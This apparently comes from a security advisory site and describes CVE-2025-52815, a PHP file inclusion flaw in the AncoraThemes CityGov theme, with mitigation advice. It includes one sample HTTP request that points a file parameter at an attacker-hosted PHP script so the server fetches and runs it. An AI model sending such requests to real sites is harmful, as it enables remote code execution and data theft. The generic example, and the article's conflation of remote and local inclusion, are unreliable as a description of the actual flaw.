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CVE-2025-52815: PHP Remote File Inclusion Vulnerability in AncoraThemes CityGov

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Overview

The Common Vulnerabilities and Exposures (CVE) system has recently released a vulnerability report CVE-2025-52815, which underscores a significant potential security issue in AncoraThemes CityGov. This vulnerability pertains to an ‘Improper Control of Filename for Include/Require Statement in PHP Program’ or more commonly known as ‘PHP Remote File Inclusion’. The vulnerability affects the versions of CityGov from n/a through 1.9. This vulnerability is critical because it can lead to a potential system compromise or data leakage, making it a significant concern for the cybersecurity community.

Vulnerability Summary

CVE ID: CVE-2025-52815
Severity: High (8.1 CVSS Severity Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

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Product | Affected Versions

AncoraThemes CityGov | n/a through 1.9

How the Exploit Works

The PHP Remote File Inclusion vulnerability in AncoraThemes CityGov works by leveraging the improper control of filename for include/require statement in PHP Program. This allows an attacker to inject malicious PHP scripts or files to be included and executed by the server. The vulnerability allows for Local File Inclusion (LFI), which permits attackers to include local files from the server, potentially exposing sensitive information or executing malicious code.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited. This could be a sample HTTP request, injected with a malicious payload.

GET /index.php?file=http://attacker.com/malicious.php HTTP/1.1
Host: target.example.com

In this example, the attacker tricks the server into including and executing the malicious.php file from their server.

Mitigation Guidance

Given the high severity of this vulnerability, it’s paramount to apply the vendor-released patch immediately. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These systems can be configured to block or alert on attempts to exploit this vulnerability until the official patch can be applied. However, this is a stop-gap solution, and appropriate patches should be applied as soon as possible to fully mitigate the risk.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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